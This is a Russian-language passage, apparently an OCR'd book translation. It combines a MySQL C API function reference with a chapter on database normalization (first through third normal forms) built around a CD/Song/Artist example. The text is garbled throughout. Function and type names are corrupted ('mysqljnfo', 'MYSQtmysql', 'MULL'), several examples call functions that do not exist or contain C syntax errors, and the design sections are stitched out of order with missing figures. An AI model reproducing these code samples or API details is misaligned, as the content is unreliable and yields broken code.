    Кодирует строку таким образом, что ее можно безопасно вставить в таблицу MySQL. Первый аргумент - это получающая строка, которая должна быть по крайней мере на один символ больше двойной длины исходной строки, задаваемой вторым аргументом (то есть to >= from*2+l). Если есть третий аргумент, он указывает количество байт, копируемое из исходной строки перед кодированием. Функция возвращает число байт в кодированной строке, исключая цустой символ в конце строки.

    Пример

    char name[15] = "Bob Marley's";

    char enc_name[31];

    mysql_escape_string(enc_name, name);

    /* enc_name теперь будет содержать "Bob Marley\'s" (единичная кавычка

    закодирована).

    mysql_fetch_field

    MYSQL_FIELD*mysql_fetch_field(MYSQL_RES* result)

    Возвращает структуру MYSQL_FIELD, описывающую доле заданного результирующего набора. Дальнейшие вызовы этой функции вернут информацию о каждом следующем поле, пока поля не закончатся, и тогда будет возвращено нулевое значение.

    Пример

    MYSQL_FIELD*field;

    while((field = mysql_fetch_field(results)))

    {

    /* Здесь вы можете проверить информацию о поле */

    }

    mysql_fetch_field_direct

    MYSQL_FIELD * mysql_fetch_field_direct(MYSOL_RES * result, unsigned int fieldnr)


    Эта функция идентична mysql_fetch_field за исключением того, что вместо цикла по полям вы указываете, какое поле проверить. Номер первого поля в наборе - 0.

    Пример

    MYSQL_FIELD *field;

    /* Получить информацию о третьем поле в наборе записей */

    field = mysql_fetch_field_direct(results, 2);

    mysql_fetch_fields

    MYSQL_FIELD *mysql_fetch_fields(MYSQL_RES* result)

    Функция идентична mysql_fetch_field за исключением того, что она возвращает массив структур MYSQL_FIELD, содержащих информацию о каждом поле в результирующем наборе.

    Пример

    MYSQL_FIELD 'field; MYSQL_FIELD 'fields;

    /* Получить всю информацию о полях в наборе записей */

    fields = mysql_fetch_fields(results);

    /* Приписать третье поле переменной 'field' */

    field = fields[2];

    mysql_fetch_lengths

    unsigned long *mysql_fetch_lengths(MYSQL_RES*result)

    Возвращает массив длин каждого поля в текущей записи. В случае ошибки функция возвращает нулевое значение. Вы должны выбрать хотя бы одну запись (используя mysql_fetch_row) перед вызовом этой функции. Эта функция является единственным способом выяснить длину полей переменной длины, таких как BLOB и VARCHAR, перед использованием данных.

    Пример

    unsigned long *lengths;

    row = mysql_fetch_row(results);

    lengths = mysql_fetch_lengths(results);

    printf("Tpetbe поле имеет длину %d байт\n", lengths[2]);

    mysql_fetch_row

    MYSQL_ROW mysql_fetch_row(MYSQL_RESresult)

    Выбирает следующую запись в наборе и возвращает ее как структуру MYSQL__ROW. Если записей больше нет или в случае ошибки, возвращается нулевое значение. В текущей реализации структура MY.SQI _ROW - это массив символьных строк, который может представлять любые данные.

    Пример

    MYSQL_ROW row;

    row = mysql_fetch_row(results);

    printf("Данные в третьем поле этой записи: %s\n", row[2]);

    mysql_field_seek

    MYSQL_FIELD_OFFSET mysql_field_seek(MYSQL_RES *result, MYSQL_FIELD_OFFSET offset)

    Ищет указанное поле в текущей записи результирующего набора. Позиция, установленная этой функцией, используется при вызове mysql_fetch_field. Переданное значение MYSQL_FIELD_OFFSET должно быть значением, возвращаемым функцией mysql_field_tell (или другим вызовом mysql_f ield_seek). Если это значение равно 0, поиск будет осуществляться с начала записи. Функция возвращает позицию курсора перед вызовом функции.


    Пример

    MYSQL_FIELD field;

    /* Перейти к началу записи */

    old_pos = mysql_field_seek(results, 0);

    /* Выбрать первое поле записи */

    field = mysql_field_field(results);

    /* Вернуться к исходному состоянию */

    mysql_field_seek(results, old_pos);

    mysql_field_tell

    MYSQL_FIELD_OFFSET mysql_field_tell(MYSQL_RESresult)

    Возвращает значение текущей позиции поля в текущей записи результирующего набора. Это значение используется с mysql_f ield_seek.

    Пример

    MYSQL_FIELD fieldl, field2, fieldS;

    /* Запомнить текущую позицию */

    old_pos = mysql_field_tell(results);

    /* Выбрать еще три поля */

    field1 = mysqLfield_field(results);

    field2 = mysql_field_field(results);

    field3 = mysql_field_field(results);

    /* Вернуться к исходной позиции */

    mysql_field_seek(results, old_pos);

    mysql_free_result

    void mysql_free_result(MYSQL_RESresult)

    Освобождает память, связанную со структурой MYSQL_RES. Эту операцию следует всегда выполнять при завершении использования структуры этого типа или при других проблемах с памятью.

    Пример

    MYSQL_RES "results;

    /* Выполнить операции с результатами */

    mysql_free_result(results);

    mysql_get_client_info

    char *mysql_get_client_info(void)

    Возвращает строку с версией библиотеки MySQL, используемой клиентской программой.

    Пример

    printf("Этa программа использует клиентскую библиотеку MySQL версии %s\n",

    mysql_get_client_info()));

    mysql_get_host_jnfo

    char *mysql_get_host_info(MYSQL*mysql)

    Возвращает строку, содержащую имя хоста сервера баз данных MySQL и тип используемого подключения (например, Unix-сокет или TGP).

    Пример

    print("Информация о подключении: %s", mysql_get_host_info(&mysql));

    mysq l_get_proto_i nf о

    unsigned int mysql_get_proto_info(MYSQtmysql)

    Возвращает в виде целого числа версию протокола MySQL, используемого в текущем подключении.

    Пример

    printf("Этo подключение использует протокол соединений MySQL версии %d\n",

    mysql_get_proto_info());

    mysql_get_server_info


    char *mysql_get_server_info(MYSQL*mysql)

    Возвращает строку, содержащую номер версии сервера баз данных MySQL, используемого в текущем подключении.

    Пример

    printf("Bы подключены к серверу MySQL версии %s\n", mysql_get__server_info(&mysql);

    mysqljnfo

    char *mysql_info(MYSQL*mysql)

    Возвращает строку, содержащую информацию о последнем запросе, если этот запрос был одним из указанных ниже. В настоящее время дополнительную информацию через эту функцию выдают следующие SQL-запросы: INSERT INTO (при использовании с оператором SELECT); LOAD DATA INFILE; ALTER TABLE; INSERT INTO TABLE (при использовании с множеством записей). Если последний запрос не имел дополнительной информации (например, это был один из других запросов), функция возвращает нулевое значение.

    Пример

    /* Только что был послан запрос LOAD DATA INFILE, загрузивший набор записей из файла

    в существующую таблицу */ printf("Результат загрузки данных: %s\n", mysql_info(&mysql));

    mysql_init

    MYSQL *mysql_init(MYSQL*mysql)

    Инициализирует структуру MYSQL, используемую для создания подключения к серверу баз данных MySQL. Наряду с mysql_real_connect, это является способом инициализации подключения к серверу. Вы передаете этой функции объявленную структуру MYSQL либо пустой указатель, в случае чего структура MYSQL будет создана и возвращена. Созданные этой функцией структуры корректно освобождаются функцией mysql_close. Если для инициализации структуры не хватило памяти, возвращается нулевое значение.

    Пример

    MYSQL mysql;

    if (!mysql_init(&mysql)) {

    printf("Ошибка инициализации клиента MySQL\n");

    exit(1); }

    mysqljnsertjd

    my_ulonglong mysql_insert_id(MYSQL*mysql)

    Вернет последнее число, сгенерированное для поля AUTO_INCREMENT. Данная функция обычно используется сразу после ввода значения в поле AUTO_INCREMENT, чтобы выяснить значение, которое было введено.

    Пример

    /* Мы только что ввели запись о сотруднике с автоматически генерируемым ID в

    таблицу */


    id = mysql_insert_id(&mysql);

    printf(''Новый сотрудник получил ID %d\n", id);

    mysql_kill

    int mysql_kill(MYSQL*mysql, unsigned long pid)

    Пытается завершить поток сервера MySQL с указанным ID процесса (PID). Эта функция возвращает ноль в случае успешного выполнения операции и ненулевое значение в случае неудачи. Чтобы воспользоваться этой функцией, вы должны иметь право Process для текущего подключения.

    Пример

    /* Завершить поток с номером 4 */

    result = mysql_kill(&mysql, 4);

    mysql_list_dbs

    MYSQL_RES*mysql_list_dbs(MYSQL*mysql, const char*wild)

    Возвращает структуру MYSQL_RES, содержащую имена всех существующих баз данных, которые отвечают выражению, заданному во втором аргументе. Этот аргумент может быть любым стандартным регулярным выражением SQL. Если передать нулевой указатель, будут возвращены имена всех баз данных. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_f ree_result. Эта функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES databases;

    databases = mysql_list_dbs(&mysql, (char*)MULL);

    /* 'databases' теперь содержит имена всех баз данных на сервере MySQL */

    mysql_list_fields

    MYSQL_RES *mysql_list_fields(MYSQL*mysql, const char*table, const char *wild)

    Возвращает структуру MYSQL_RES, содержащую имена всех существующих полей в указанной таблице, которые удовлетворяют выражению, переданному третьим аргументом. Этот аргумент может быть любым стандартным регулярным выражением SQL. Если передать нулевой указатель, будет возвращен список имен всех полей. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_free_result. Эта функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES fields;

    fields = mysql_list_fields(&mysql, "people", "address%");

    /* 'fields' теперь содержит имена всех полей в таблице 'people', начинающихся с 'address' */

    mysql_list_processes


    MYSQL_RES*mysql_list_processes(MYSQL*mysql)

    Возвращает структуру MYSQL_RES, содержащую информацию о всех текущих потоках, запущенных на сервере баз данных MySQL. Эта информация может быть использована с mysql_kill для завершения потоков, вызывающих ошибки. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_f ree_result. Эта функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES threads;

    threads = mysql_list_processes(&mysql);

    mysql_list_tables

    MYSQL_RES*mysql_list_tables(MYSQL*mysql, const char*wild)

    Возвращает-структуру MYSQL_RES, содержащую имена всех существующих таблиц в текущей базе данных, которые отвечают выражению, заданному во втором аргументе. Этот аргумент может быть любым стандартным регулярным выражением SQL. Если передать нулевой указатель вместо выражения, будет возвращен список имен всех таблиц. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_f ree_result. Эта функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES tables;

    tables = mysql_list_tables(&mysql, "p%");

    /* 'tables' теперь содержит имена всех таблиц в текущей базе данных, начинающиеся с 'р' */

    mysql_num_fields

    unsigned int mysql_num_fields(MYSQL_RESresult)

    Возвращает число полей, содержащееся в каждой записи указанного результирующего набора.

    Пример

    num_fields = mysql_num_fields(results);

    printf("There are %d fields in each row\n", num_fields);

    mysql_num_rows

    int mysqi_num_rows(MYSQL_RESresult)

    Эта функция вернет количество записей в возвращаемом наборе записей. Работает корректно, только если набор был получен функцией mysql_store_result. Если была использована функция mysql_use_result, значением, возвращаемым функцией mysql_num_rows, будет количество записей, к которым уже был осуществлен доступ.

    Пример

    num_rows = mysql_num_rows(results);

    printf("Было возвращено %d записей \n", num_rows);


    mysql_ping

    int mysql_ping(MYSQL*mysql)

    Проверяет статус подключения к серверу MySQL. Если подключение не активно, клиент попытается автоматически восстановить его. Эта функция возвращает ноль, если подключение активно, и ненулевое значение в случае ошибки.

    Пример

    while(mysql_ping(&mysql))

    printf("Ошибка, попытка повторного подключения...\n");

    mysql_query

    int mysql_query(MYSQL*mysql, const char"query)

    Выполняет SQL-запрос, заданный вторым аргументом. Если запрос содержит любые двоичные данные (особенно пустой символ (null)), эту функцию использовать невозможно, и следует пользоваться функцией mysql_real_query. Функция возвращает ноль, если запрос был выполнен успешно, и ненулевое значение в случае ошибки.

    Пример

    error = mysql_query(&mysql, "SELECT FROM people WHERE name like

    'Bill%'");

    if (error) {

    printf("Ошибка при выполнении запроса!\n");

    exit(1);

    }

    mysql_real_connect

    MYSQL *mysql_real_connect(MYSQL*mysql, const char*host, const char *user,

    const char *passwd, const char*db, uint port, const char*unix_socket, uint client_flag)

    Создает соединение с сервером баз данных MySQL. У этой функции есть восемь аргументов:

  • Инициализированная структура MYSQL, созданная с помощью mysql_init.

  • Имя хоста или IP-адрес сервера баз данных MySQL (для локального подключения к серверу MySQL через сокет Unix можно использовать пустую строку или localhost).

  • Имя пользователя, используемое при подключении к серверу баз данных (пустой строкой можно указать на использование логина пользователя, запустившего клиента).

  • Пароль, используемый для идентификации указанного пользователя. Если используется пустая строка, будет производиться аутентификация только пользователей без пароля.

  • Начальная база данных, используемая при подключении (чтобы не выбирать при подключении начальную базу данных, можно передать пустую строку).

  • Порт, используемый для удаленного подключения к серверу баз данных MySQL по протоколу TCP (чтобы принять порт по умолчанию, можно передать 0).


  • Имя сокета Unix для подключения к серверу на локальном компьютере (чтобы принять сокет по умолчанию, можно использовать пустую строку).

  • Ноль или более из набора флагов, используемых при особых обстоятельствах:

    CLIENT_FOUND_ROWS

    При использовании запросов, изменяющих данные, возвращать не число измененных записей, а число записей, найденных в таблице.

    CLIENT_NO_SCHEMA

    Запретить клиенту использование полной формы указания на столбец базы данных database, table.column , чтобы скрыть структуру базы данных.

    CLIENT_COMPRESS

    Использовать сжатие при соединении с сервером.

    CLIENT_ODBC

    Указать серверу, что клиент является подключением ODBC.

    Пример

    /* Подключиться к серверу на локальном хосте, используя стандартные

    параметры. */

    if (! mysql_real_connect(&mysql, "localhost", "bob", "mypass", "", 0, 0))

    {

    print "Ошибка подключения!\n";

    exit(1); }

    mysql_real_query

    int mysql_real_query(MYSQL*mysql, const char*query, unsigned int length)

    Выполняет SQL-запрос, заданный вторым аргументом. В третьем аргументе должна быть указана длина запроса. Указав длину, вы можете использовать в запросе двоичные данные, включая пустые (null) символы. Эта функция действует быстрее, чем mysql_query. Функция возвращает ноль, если запрос был успешно выполнен, и ненулевое значение в случае ошибки.

    Пример

    error = mysql_real_query(&ntysql, "SELECT FROM people WHERE name like Bill%'",

    44);

    if (error)

    {

    printf("Ошибка при выполнении запроса!\n");

    exit(1);

    }

    mysql_reload

    int mysql_reload(MYSQL*mysql)

    Перегружает таблицу привилегий на сервере баз данных MySQL. Для использования этой функции вы должны иметь право Reload для текущего подключения. Функция возвращает ноль, если операцию удалось выполнить, иначе возвращается ненулевое значение.

    Пример

    result = mysql_reload(&mysql);

    mysql_row_tell

    unsigned int mysql_row_tell(MYSQL_RESresult)

    Возвращает значение курсора, используемого функцией mysql_fetch_row при чтении записей из результирующего набора. Возвращаемое этой функцией значение может быть использовано с mysql_row_seek для перехода к определенной записи в наборе.


    Пример

    saved_pos = mysql_row_tell(results);

    /* Теперь в любой момент я могу вернуться к этой записи */

    mysql_select_db

    int mysql_select_db(MYSQL*mysql, const char*db)

    Изменяет текущую базу данных. Пользователь должен иметь права доступа к новой базе данных. Функция возвращает ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    Пример

    result = mysql_select_db(&mysql, "newdb");

    mysql_shutdown

    int mysql_shutdown(MYSQL*mysql)

    Выключает сервер баз данных MySQL. Для использования этой функции пользователь должен иметь право Shutdown для текущего подключения. Функция возвращает ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

    Пример

    result = mysql_shutdown(&mysql);

    mysql_stat

    char *mysql_stat(MYSQL*mysql)

    Возвращает информацию о текущем статусе сервера баз данных. Среди прочей информации содержатся данные о времени работы, количестве запущенных потоков и количестве обрабатываемых запросов.

    Пример

    printf("Информация о сервере \n-------\n%s\n", mysql_stat(&mysql));

    mysql_store_result

    MYSQL_RES *mysql_store_result(MYSQL*mysql)

    Читает весь результат запроса и сохраняет его в структуре MYSQL_RES. Для доступа к возвращаемым из запроса данным должна использоваться либо эта функция, либо mysql_use_result. Вы должны вызвать mysql_f ree_result для освобождения структуры MYSQL_RES после завершения работы с ней. Функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES results;

    mysql_query(&mysql, "SELECT* FROM people");

    results = mysql_store_result(&mysql);

    /* 'results' теперь содержит всю информацию из таблицы'people*/

    mysql_thread_id

    unsigned long mysql_thread_id(MYSQL* mysql)

    Возвращает ID потока текущего подключения. Это значение может использовать mysql_kill для завершения подключения в случае ошибки.

    Пример

    thread_ld = mysql_thread_id(&mysql);

    mysql_use_result

    MYSQL_RES*mysql_use_result(MYSQL*mysql)


    Читает результат запроса построчно и позволяет получить доступ к данным через структуру MYSQL_RES. Для доступа к возвращаемым из запроса данным должна использоваться или эта функция, или mysql_store_result. Так как эта функция не читает весь набор данных за один раз, она более быстрая, чем mysql_store_result, и более эффективно использует память. Однако при использовании этой функции вы должны прочесть все записи из набора данных, иначе следующий запрос получит оставшиеся данные. Также вы не сможете выполнять другие запросы до окончания работы с данными из этого запроса. После завершения работы с ними следует вызвать mysql_f ree_result для освобождения структуры MYSQL_RES. Функция возвращает нулевое значение в случае ошибки.

    Пример

    MYSQL_RES results;

    mysql_query(&mysql, "SELECT* FROM people");

    results = mysql_store_result(&mysql);

    /* 'results' теперь позволяет получить доступ к данным таблицы (используя mysql_fetch_row), по одной записи за раз*/



    Проектирование баз данных

    После установки на компьютере СУБД у вас может возникнуть сильный соблазн сразу начать создание базы данных, не задумываясь о планировании. Как и в других случаях разработки программного обеспечения, такой подход оправдан лишь при решении простейших задач. Если вы рассчитываете, что ваша база данных должна будет поддерживать хоть какую-то степень сложности, немного планирования и проектирования, в конечном итоге, несомненно сбережет ваше время.



    Методология логического моделирования данных

    Теперь у нас есть завершенная логическая модель данных. Вспомним, какие шаги нужно осуществить, чтобы получить ее:

  • Выявить и смоделировать сущности.

  • Выявить и смоделировать связи между сущностями.

  • Выявить и смоделировать атрибуты.

  • Указать уникальный идентификатор для каждой сущности.

  • Провести нормализацию.

    На практике процесс редко происходит в такой последовательности. Как показывает наш пример, часто возникают желание и необходимость перескакивать между сущностями, связями, атрибутами и идентификаторами. Важно не столько строго следовать последовательности шагов, сколько выявить и зафиксировать все данные, необходимые для правильного моделирования системы.

    Модель данных, которую мы создали в этой главе, очень проста. Мы рассказали, как создать модель, соответствующую по типу и сложности тем базам данных, с которыми вы, скорее всего, столкнетесь, разрабатывая базы данных для MySQL или mSQL. Мы не коснулись целой массы приемов проектирования и понятий, которые не имеют большого значения при проектировании маленьких баз данных и могут быть найдены в любом учебнике, посвященном проектированию баз данных.



    Нормализация

    Е. Ф. Кодд (Е. F. Codd), занимавшийся исследовательской работой в IBM, впервые представил концепцию нормализации в нескольких важных статьях, написанных в 1970-е годы. Задача нормализации остается той же самой и сегодня: устранить из базы данных некоторые нежелательные характеристики. В частности ставится задача устранить некоторые виды избыточности данных и благодаря этому избежать аномалий при изменении данных. Аномалии изменения данных - это сложности при операциях вставки, изменения и удаления данных, возникающие из-за структуры базы данных. Дополнительным результатом нормализации является конструкция, хорошо соответствующая реальному миру. Поэтому в результате нормализации модель данных становится более ясной.

    Например, предположим, что мы ошиблись при вводе "Herbie Hancock" в нашу базу данных и хотим исправить ошибку. Нам потребовалось бы рассмотреть все диски этого исполнителя и исправить имя. Если изменения производятся с помощью приложения, позволяющего одновременно редактировать только одну запись, нам придется редактировать много строк. Было бы гораздо лучше запомнить имя "Herbie Hancock" лишь один раз и редактировать его в одном месте.

    Первая нормальная форма (1NF)

    Общее понятие нормализации подразделяется на несколько "нормальных форм". Говорят, что сущность находится в первой нормальной форме, когда все ее атрибуты имеют единственное значение. Чтобы признать сущность находящейся в первой нормальной форме, нужно удостовериться в том, что каждый атрибут сущности имеет единственное значение для каждого экземпляра сущности. Если в каком-либо атрибуте есть повторяющиеся значения, сущность не находится в 1NF.

    Вернувшись к нашей базе данных, мы обнаруживаем, что повторяющиеся значения есть в атрибуте Song (песня), поэтому очевидно, что база не находится в 1NF. Сущность с повторяющимися значениями указывает на то, что мы упустили еще по крайней мере одну сущность. Обнаружить другие сущности можно, взглянув на каждый атрибут и задавшись вопросом "что описывает эта вещь?"


    Что описывает атрибут Song? Он перечисляет все песни на CD. Поэтому Song - это еще один объект, о котором мы собираем данные, и, возможно, он является сущностью. Мы добавим его в свою диаграмму и придадим атрибут Song Name (название песни). Чтобы покончить с сущностью Song, спросим себя, чем еще мы хотели бы ее охарактеризовать. Мы отметили ранее, что длительность песни мы также хотели бы сохранить. Новая модель данных показана на рис. 2-3.

    Нормализация

    Рис. 2-3. Модель данных с сущностями CD и Song

    Теперь, когда Song Name и Song Length являются атрибутами сущности Song, мы имеем модель данных с двумя сущностями в 1NF. К сожалению, мы не указали никакого способа связать вместе CD и Song.

    Уникальный идентификатор

    Прежде чем обсуждать связи, мы должны применить к сущностям еще одно правило. У каждой сущности должен быть однозначный идентификатор, который мы будем называть ID. ID есть атрибут сущности, к которому применимы следующие правила:

  • Он уникален для каждого экземпляра сущности.

  • Для каждого экземпляра сущности он имеет значение, отличное от NULL в течение всего срока существования экземпляра.

  • В течение всего времени существования экземпляра его значение не меняется.

    ID очень важен, поскольку позволяет узнать, с каким из экземпляров сущности мы имеем дело. Выбор идентификатора также существенен, потому что он используется для моделирования связей. Если после выбора ID для сущности вы обнаружили, что он не удовлетворяет одному из перечисленных правил, это может повлиять на всю вашу модель данных.

    Новички в моделировании данных часто делают ошибку, выбирая в качестве ID неподходящие атрибуты. Если, к примеру, у вас есть сущность Person (человек, лицо), может возникнуть соблазн выбрать в качестве идентификатора Name (фамилию), поскольку она есть у каждого лица и не меняется. Но что если лицо вступает в брак или законным образом хочет изменить фамилию? Или вы допустили ошибку при первоначальном вводе фамилии? При каждом из этих событий нарушается третье правило для идентификаторов. Еще хуже то, что фамилия окажется не уникальной. Если вы не можете стопроцентно гарантировать, что атрибут Name уникален, вы нарушаете первое правило для идентификаторов. Наконец, вы считаете, что у каждого экземпляра Person фамилия отлична от NULL. Но вы уверены, что всякий раз, вводя первоначальные данные в базу, будете знать фамилию? Ваш процесс может быть организован так, что при начальном создании записи фамилия может быть неизвестна. Из этого следует извлечь тот урок, что при выборе неидентифицирующего атрибута в качестве идентификатора возникает много проблем.


    Выход в том, чтобы изобрести идентифицирующий атрибут, не имеющий никакого иного смысла, кроме как служить идентифицирующим атрибутом. Поскольку этот атрибут искусственный и никак не связан с сущностью, мы имеем над ним полный контроль и можем обеспечить его соответствие правилам для уникальных идентификаторов. На рис. 2-4 к каждой из наших сущностей добавлен искусственный ID. На диаграмме уникальный идентификатор изображается как подчеркнутый атрибут.

    Нормализация

    Рис. 2-4. Сущности CD и Song со своими уникальными идентификаторами

    Связи

    Идентификаторы наших сущностей позволяют моделировать их связи. Связь описывает бинарное отношение между двумя сущностями. Связь может существовать также внутри одной сущности. Такая связь называется рекурсивной. Каждая сущность, участвующая в связи, описывает-другую и описывается ею. Каждая сторона связи имеет две составляющих - имя и степень.

    У каждой стороны связи есть имя, описывающее связь. Возьмем две гипотетические сущности — Служащий и Отдел. Один вариант связи между ними состоит в том, что Служащий "приписан" к Отделу. Этот Отдел "отвечает" за Служащего. Таким образом, связь со стороны Служащий называется "приписан", а со стороны Отдел - "отвечает".

    Степень, называемая также кардинальным числом, показывает, сколько экземпляров описывающей сущности должны описывать один экземпляр описываемой сущности. Степень выражается с помощью двух разных значений- "один-к-одному" (1) и "один-ко-многим" (М). Служащий приписан одновременно только к одному отделу, поэтому у сущности Служащий связь с сущностью Отдел "один-к-одному". В обратном направлении, отдел отвечает за многих служащих. Поэтому мы говорим, что у сущности Отдел связь с сущностью Служащий "один-ко-многим". В результате в Отделе может быть и только один Служащий.

    Иногда полезно выразить связь словами. Один из способов - вставить разные составляющие направления связи в следующую формулу:


    сущность1имеет [одну и только одну одну или много] сущностъ2

    Согласно этой формуле связь между Служащим и Отделом можно выразить так:

    Каждый Служащий должен быть приписан к одному и только одному

    Отделу.

    Каждый Отдел может отвечать одному или многим Служащим.

    Нормализация

    Рис. 2-5. Анатомия связи

    Нормализация

    Рис. 2-6. Связь CD-'Song

    Можно использовать эту формулу для описания сущностей в нашей модели данных. В каждом CD содержится много или одна Song, и каждая Song содержится хотя бы в одном CD. В нашей модели данных эту связь можно показать, проведя линию между двумя сущностями. Степень обозначается прямой линией для связи "один и только один" и "птичьей лапой" для связи "один-ко-многим>>. На рис. 2-5 показаны эти обозначения.

    Как это применимо к связи между Song и CD? На практике Song может содержаться на многих CD, но для нашего примера мы этим пренебрежем. На рис. 2-6 показана модель данных с обозначенными связями.

    Прочно установив связи, мы можем вернуться к процессу нормализации и опять улучшить нашу схему. Пока мы лишь нормализовали повторяющиеся песни, преобразовав их в отдельную сущность, и смоделировали связь между ней и сущностью СD.

    Вторая нормальная форма (2NF)

    Говорят, что сущность находится во второй нормальной форме, если она уже находится в первой НФ, и каждый неидентифицирующий атрибут зависит от всего уникального идентификатора сущности. Если некий атрибут не зависит полностью от уникального идентификатора сущности, значит, он внесен ошибочно и должен быть удален. Нормализуйте такой атрибут либо найдя сущность, к которой он относится, либо создав новую сущность, в которую он должен быть помещен.

    Нормализация

    Рис. 2-7. Модель данных с новой сущностью Artist

    В нашем примере "Herbie Hancock" является Band Name (названием ансамбля) для двух разных CD. Это показывает, что Band Name не полностью зависит от идентификатора CD ID. Это дублирование представляет собой проблему, поскольку если мы допустили ошибку при вводе "Herbie Hancock", придется исправлять значение в нескольких местах. Это указывает нам, что Band Name должно быть частью новой сущности, связанной с CD. Как и раньше, мы решаем эту задачу, задав вопрос: "Что описывает название ансамбля?" Оно описывает ансамбль, или, вообще говоря, исполнителя. Исполнитель - еще один объект, о котором мы собираем данные, и потому, возможно, является сущностью. Мы добавим его к нашей схеме с атрибутом Band Name. Поскольку исполнитель может не быть ансамблем, мы переименуем атрибут как Artist Name. На рис. 2-7 показано новое состояние модели.


    Правда, не показаны связи для новой таблицы исполнителей. Ясно, что у каждого Artist может быть один или много CD. У каждого CD может быть один или несколько Artist. Это показано на рис. 2-8.

    Нормализация

    Рис. 2-8. Связи сущности Artist в модели данных

    Вначале мы присвоили атрибут Band Name сущности CD. Поэтому было естественным установить прямую связь между Artist и CD. Но верно ли это? При ближайшем рассмотрении оказывается, что следует установить прямую связь между Artist и Song. У каждого Artist есть одна или много Song. Каждая Song исполняется одним и только одним Artist. Правильные связи показаны на рис. 2-9.

    Это не только более разумно, чем связь между Artist и CD, но и решает проблему дисков-сборников.

    Нормализация

    Рис. 2-9. Подлинная связь между Artist и остальной частью модели данных

    Виды связей

    При моделировании связей между сущностями важно определить оба направления связи. После определения обеих сторон связи мы приходим к трем основным видам связей. Если оба конца связи имеют степень "один и только один", то связь называется "один-к-одному". Как мы позднее убедимся, связи "один-к-одному" встречаются редко. В нашей модели данных их нет.

    Если одна сторона имеет степень "один или много", а другая сторона имеет степень "один и только один", то это связь "один-ко-многим" или "1-к-М". Все связи в нашей модели - это связи "один-ко-многим". Этого можно было ожидать, поскольку связи "один-ко-многим" наиболее распространены.

    И наконец, последний тип связей - когда обе стороны имеют степень "один-ко-многим". Такого типа связи называются "многие-ко-мно-гим", или "М-к-М". В предыдущей версии нашей модели данных связь Artist-CD имела тип "многие-ко-многим".

    Уточнение.связей

    Как отмечалось ранее, связи "один-к-одному" очень редки. На практике, если в процессе моделирования вы столкнетесь с такой связью, следует внимательнее изучить свой проект. Такая связь может означать, что две сущности являются на самом деле одной, и если это так, их следует объединить в одну.


    Связи "многие-ко-многим" встречаются чаще, чем "один-к-одному". В этих связях часто есть некоторые данные, которыми мы хотим охарактеризовать связь. Взглянем, например, на предыдущую версию нашей модели данных на рис. 2-8, в которой была связь "многие-ко-многим" между Artist и CD. Artist имеет связь с CD, поскольку у исполнителя есть одна или несколько Song на этом CD. Модель данных на рис. 2-9 фактически является другим представлением этой связи "многие-ко-многим".

    Все связи "многие-ко-многим" нужно разрешать с помощью следующей технологии:

  • Создайте новую сущность, иногда называемую сущностью-связкой. Назовите ее подходящим образом. Если вы не можете придумать подходящее название, образуйте его из сочетания имен связываемых сущностей, например ArtistCD. В нашей модели Song является сущностью-связкой для связи Artist-CD.

  • Свяжите новую сущность с двумя исходными. Каждая из исходных сущностей должна иметь связь "один-ко-многим" с сущностью-связкой.

  • Если в новой сущности нет очевидного уникального идентификатора, введите в нее идентифицирующие атрибуты исходных сущностей и сделайте эту пару уникальным идентификатором новой сущности.

    Почти всегда обнаружатся дополнительные атрибуты, принадлежащие новой сущности. Если это не так, то все равно необходимо разрешить связь "многие-ко-многим", иначе возникнут проблемы при переводе вашей модели данных в физическую схему.

    Нормализация

    Рис. 2-10. Наша модель данных во второй нормальной форме

    Еще о 2NF

    Наша модель все еще не приобрела вторую нормальную форму. Значение атрибута Record Label (фирма звукозаписи) имеет только одно значение для каждого CD, но одно и то же значение его присутствует в нескольких СD. Ситуация сходна с той, которая была с атрибутом Band Name. И точно так же дублирование указывает на то, что Record Label должна быть частью отдельной сущности. Каждая Record Label выпускает один или много CD. Каждый CD выпускается одной и только одной Record Label. Модель этой связи представлена на рис. 2-10.


    Третья нормальная форма (3NF)

    Сущность находится в третьей нормальной форме, если она уже находится во второй нормальной форме и ни один неидентифицирующий атрибут не зависит от каких-либо других неидентифицирующих атрибутов. Атрибуты, зависящие от других неидентифицирующих атрибутов, нормализуются путем перемещения зависимого атрибута и атрибута, от которого он зависит, в новую сущность.

    Если бы мы пожелали отслеживать адрес Record Label, то столкнулись бы с проблемами для третьей нормальной формы. В сущности Record Label должны быть атрибуты State Name (название штата) и State Abbreviation (сокращенное название штата). Хотя для учета CD эти данные и не нужны, мы добавим их к нашей модели для иллюстрации проблемы. На рис. 2-11 показаны адресные данные в сущности Record Label.

    Нормализация

    Рис. 2-11. Адресная информация о фирме звукозаписи в нашей базе данных

    Значения State Name и State Abbreviation удовлетворяют первой нормальной форме, поскольку имеют только одно значение в каждой записи сущности Record Label. Проблема в том, что State Name и State Abbreviation взаимозависимы. Иными словами, поменяв State Abbreviation для какой-либо Record Label, мы вынуждены будем также изменить State Name. Мы произведем нормализацию, создав сущность State с атрибутами State Name и State Abbreviation. На рис. 2-12 показано, как связать эту новую сущность с сущностью Record Label.

    Теперь, получив третью нормальную форму, мы можем сказать, что наша модель данных нормализована. Существуют и другие нормальные формы, имеющие значение с точки зрения проектирования баз данных, но их рассмотрение находится за пределами нашей книги. В большинстве случаев третьей нормальной формы достаточно, чтобы гарантировать правильность проекта базы данных.

    Нормализация

    Рис. 2-12. Модель данных в третьей нормальной форме



    Проектирование баз данных

